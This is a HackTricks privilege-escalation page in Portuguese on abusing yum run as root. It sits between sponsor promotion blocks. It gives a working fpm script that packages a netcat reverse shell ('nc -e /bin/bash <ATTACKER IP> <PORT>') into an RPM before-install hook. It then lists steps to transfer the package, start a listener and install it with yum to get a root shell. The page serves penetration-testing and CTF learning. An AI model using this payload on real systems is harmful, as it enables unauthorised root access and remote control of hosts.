hacktricks/linux-unix/privilege-escalation/exploiting-yum.md

55 lines
3.8 KiB
Markdown

<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
Mais exemplos sobre yum também podem ser encontrados em [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
# Executando comandos arbitrários via Pacotes RPM
## Verificando o Ambiente
Para aproveitar esse vetor, o usuário deve ser capaz de executar comandos yum como um usuário com privilégios mais elevados, ou seja, root.
### Um exemplo funcional desse vetor
Um exemplo funcional desse exploit pode ser encontrado na sala [daily bugle](https://tryhackme.com/room/dailybugle) no [tryhackme](https://tryhackme.com).
## Empacotando um RPM
Na seção a seguir, vou cobrir o empacotamento de um shell reverso em um RPM usando [fpm](https://github.com/jordansissel/fpm).
O exemplo abaixo cria um pacote que inclui um gatilho before-install com um script arbitrário que pode ser definido pelo atacante. Quando instalado, este pacote executará o comando arbitrário. Eu usei um exemplo simples de shell netcat reverso para demonstração, mas isso pode ser alterado conforme necessário.
```text
EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
```
# Capturando um shell
Usando o exemplo acima e assumindo que o `yum` pode ser executado como um usuário de maior privilégio.
1. **Transferir** o rpm para o host
2. **Iniciar** um ouvinte em seu host local, como o [exemplo de ouvinte netcat](/shells/shells/linux#netcat)
3. **Instalar** o pacote vulnerável `yum localinstall -y exploited-1.0-1.noarch.rpm`
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>